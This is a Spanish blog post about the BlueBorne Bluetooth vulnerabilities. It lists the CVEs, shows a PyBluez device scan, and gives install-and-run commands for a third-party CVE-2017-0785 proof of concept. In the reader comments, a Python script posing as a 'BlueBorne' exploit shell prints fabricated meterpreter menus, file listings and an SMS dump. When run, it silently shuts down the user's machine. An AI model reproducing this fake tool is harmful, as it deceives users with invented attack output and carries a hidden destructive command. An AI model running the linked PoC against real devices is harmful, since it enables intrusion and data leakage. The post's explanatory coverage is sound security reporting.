PoCs de BlueBorne

Una de las vulnerabilidades seguramente más impactantes de todo el año es BlueBorne. Descubierta por la empresa Armis, se trata de un conjunto de ocho exploits que permiten vulnerar prácticamente cualquier dispositivo Bluetooth y sin necesidad de que esté pareado con el atacante o que haya cualquier otra interacción... es decir, millones y millones de dispositivos están en serio riesgo sólo por tener activado Bluetooth. La única opción es instalar las últimas actualizaciones y lo antes posible.

Según los investigadores de Armis, "esta vulnerabilidad reside en el servicio Bluetooth Network Encapsulation Protocol (BNEP), que permite compartir Internet a través de una conexión Bluetooth (tethering). Debido a un fallo en el servicio de BNEP, un hacker puede desencadenar una corrupción de memoria "quirúrgica", que es fácil de explotar y permite ejecutar código en el dispositivo, otorgándole un control completo".

Además, cuando se tiene acceso al dispositivo es posible transmitir datos desde el dispositivo haciendo un MiTM. "La vulnerabilidad reside en el perfil PAN de la pila Bluetooth y permite al atacante crear una interfaz de red maliciosa en el dispositivo de la víctima, volver a configurar el enrutamiento IP y obligar al dispositivo a transmitir toda la comunicación a través de la interfaz de red malintencionada. Este ataque no requiere ninguna interacción del usuario, autenticación o emparejamiento, haciéndolo prácticamente invisible".

Para más información os recomiendo que echéis un vistazo al paper de Armis.

Las vulnerabilidades han sido bautizadas con los siguientes CVEs:
•    CVE-2017-0781 CVE-2017-0782, CVE-2017-0783 y CVE-2017-0785 para dispositivos Android.
•    CVE-2017-1000251 y CVE-2017-1000250 para Linux
•    CVE-2017-8628 en Windows.

Los vídeos con la PoC las demos son impresionantes pero el código del exploit, que es lo que todo el mundo anda buscando xD, todavía no está disponible. No obstante, todo parece indicar que es cuestión de tiempo y ya empiezan a surgir otras PoC independiente bastante interesantes. En este post intentaré ir publicando todas las pruebas con cada una de ellas que vaya surgiendo:

Descubriendo dispositivos Bluetooth cercanos (PyBluez)

# python
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import bluetooth
>>> 
>>> nearby_devices = bluetooth.discover_devices()
>>> nearby_devices
['50:8F:XX:XX:XX:XX', 'C0:D9:YY:YY:YY:YY']

Poc de Kert Ojasoo (ojasookert)
Fuente: https://github.com/ojasookert/CVE-2017-0785

Estudio personal basado en la vulnerabilidad de fuga de información de Android lanzada por Armis.

Dependencias
sudo apt-get install bluetooth libbluetooth-dev
sudo pip install pybluez
sudo pip install pwntools

Instalación y uso
# git clone https://github.com/ojasookert/CVE-2017-0785.git
# cd CVE-2017-0785
# python CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX

8 comentarios :

  1. A mí me gusta diferenciar entre videos que pueden mostrar el resultado de un exploit (O no, podría ser edición) llamándoles "demos", y dejando los PoC (Con valor de prueba tangible) para los códigos fuente. Así me evito un montón de malentendidos.

    ResponderEliminar
    Respuestas
    1. totalmente de acuerdo. A partir de ahora lo tendremos especialmente en cuenta.. Saludos!

      Eliminar
  2. Hola alguna P.O.C nueva?

    ResponderEliminar
  3. Hola alguien podria explicar, que ese codigo en hexadecimal, no lo entiendo que hace eso?

    ResponderEliminar
  4. Es el volcado de memoria

    ResponderEliminar
  5. #! /usr/bin/python
    from os import system
    from termcolor import colored
    print colored('''
    ____________________________________________________________________________
    | _ _ _ ___ _ ___ ____ __ ___ _ _ ____ _____ _ _ _ |
    | / \ | \ | |/ _ \| \ | \ \ / / \/ |/ _ \| | | / ___| |___ /| || | / | |
    | / _ \ | \| | | | | \| |\ V /| |\/| | | | | | | \___ \ |_ \| || |_| | |
    | / ___ \| |\ | |_| | |\ | | | | | | | |_| | |_| |___) | ___) |__ _| | |
    |/_/ \_\_| \_|\___/|_| \_| |_| |_| |_|\___/ \___/|____/ |____/ |_| |_| |
    |____________________________________________________________________________|
    ''', 'red'), colored('''
    Author: ANONYMOUS341 BLUEBORNE

    CONTACT: kalilinuxhackersaround@gmail.com

    Youtube: https://www.youtube.com/channel/UCU4_WISdoFVYT21BxeRGSbQ
    ''', 'blue')
    def cd2():
    a = raw_input("blueborne > ")
    print'''
    Alarms
    Android
    BackUp
    CloudDrive
    DCIM
    dianxin
    Documents
    Download
    Movies
    Music
    Pictures
    Podcasts
    proof
    Recordings
    Ringtones
    TWRP
    WhatsApp
    pd.apk'''
    blb()

    def cd():
    print'''
    Alarms
    Android
    BackUp
    CloudDrive
    DCIM
    dianxin
    Documents
    Download
    Movies
    Music
    Pictures
    Podcasts
    Recordings
    Ringtones
    TWRP
    WhatsApp
    pd.apk
    z.png'''
    def dump_sms():
    system("service apache2 start")
    system("service apache2 stop")
    print'''
    [*] Fetching 42 sms messages
    [*] SMS messages saved to: sms_dump_20171009132902.txt
    '''

    ResponderEliminar
  6. def hep():
    print'''
    Core Commands
    =============

    Command Description
    ------- -----------
    ? Help menu
    background Backgrounds the current session
    bgkill Kills a background meterpreter script
    bglist Lists running background scripts
    bgrun Executes a meterpreter script as a background thread
    channel Displays information or control active channels
    close Closes a channel
    disable_unicode_encoding Disables encoding of unicode strings
    enable_unicode_encoding Enables encoding of unicode strings
    exit Terminate the meterpreter session
    get_timeouts Get the current session timeout values
    help Help menu
    info Displays information about a Post module
    irb Drop into irb scripting mode
    load Load one or more meterpreter extensions
    machine_id Get the MSF ID of the machine attached to the session
    quit Terminate the meterpreter session
    read Reads data from a channel
    resource Run the commands stored in a file
    run Executes a meterpreter script or Post module
    sessions Quickly switch to another session
    set_timeouts Set the current session timeout values
    sleep Force Meterpreter to go quiet, then re-establish session.
    transport Change the current transport mechanism
    use Deprecated alias for 'load'
    uuid Get the UUID for the current session
    write Writes data to a channel


    File system Commands
    ============================

    Command Description
    ------- -----------
    cat Read the contents of a file to the screen
    cd Change directory
    checksum Retrieve the checksum of a file
    cp Copy source to destination
    dir List files (alias for ls)
    download Download a file or directory
    edit Edit a file
    getlwd Print local working directory
    getwd Print working directory
    lcd Change local working directory
    lpwd Print local working directory
    ls List files
    mkdir Make directory
    mv Move source to destination
    pwd Print working directory
    rm Delete the specified file
    rmdir Remove directory
    search Search for files
    upload Upload a file or directory


    Networking Commands
    ===========================

    Command Description
    ------- -----------
    ifconfig Display interfaces
    ipconfig Display interfaces
    portfwd Forward a local port to a remote service
    route View and modify the routing table
    System Commands

    ResponderEliminar
  7. =======================
    Command Description
    ------- -----------
    execute Execute a command
    getuid Get the user that the server is running as
    localtime Displays the target system's local date and time
    pgrep Filter processes by name
    ps List running processes
    shell Drop into a system command shell
    sysinfo Gets information about the remote system, such as OS
    User interface Commands
    ===============================
    Command Description
    ------- -----------
    screenshot Grab a screenshot of the interactive desktop


    Webcam Commands
    =======================

    Command Description
    ------- -----------
    record_mic Record audio from the default microphone for X seconds
    webcam_chat Start a video chat
    webcam_list List webcams
    webcam_snap Take a snapshot from the specified webcam
    webcam_stream Play a video stream from the specified webcam
    Android Commands
    ================

    Command Description
    ------- -----------
    activity_start Start an Android activity from a Uri string
    check_root Check if device is rooted
    dump_calllog Get call log
    dump_contacts Get contacts list
    dump_sms Get sms messages
    geolocate Get current lat-long using geolocation
    interval_collect Manage interval collection capabilities
    send_sms Sends SMS from target session
    set_audio_mode Set Ringer Mode
    sqlite_query Query a SQLite database from storage
    wakelock Enable/Disable Wakelock
    wlan_geolocate Get current lat-long using WLAN information
    '''
    blb()
    def blb():
    print ("[+]type ? for help")
    a = raw_input("BlueBorne > ")
    if a == "?":
    hep()
    elif a == "dump_sms":
    dump_sms()
    blb()
    elif a == "mkdir proof":
    cd2()
    elif a == "ls":
    cd()
    blb()
    print'''
    1.scan for devices
    2. exit'''
    a = raw_input("choose option: ")
    if a == "1":
    print"[+] scanning..."
    system("service apache2 start")
    system("service apache2 stop")
    print"[+]error.. system crashed.."
    print"[+]rebooting to prevent crash..."
    system("shutdown")

    ResponderEliminar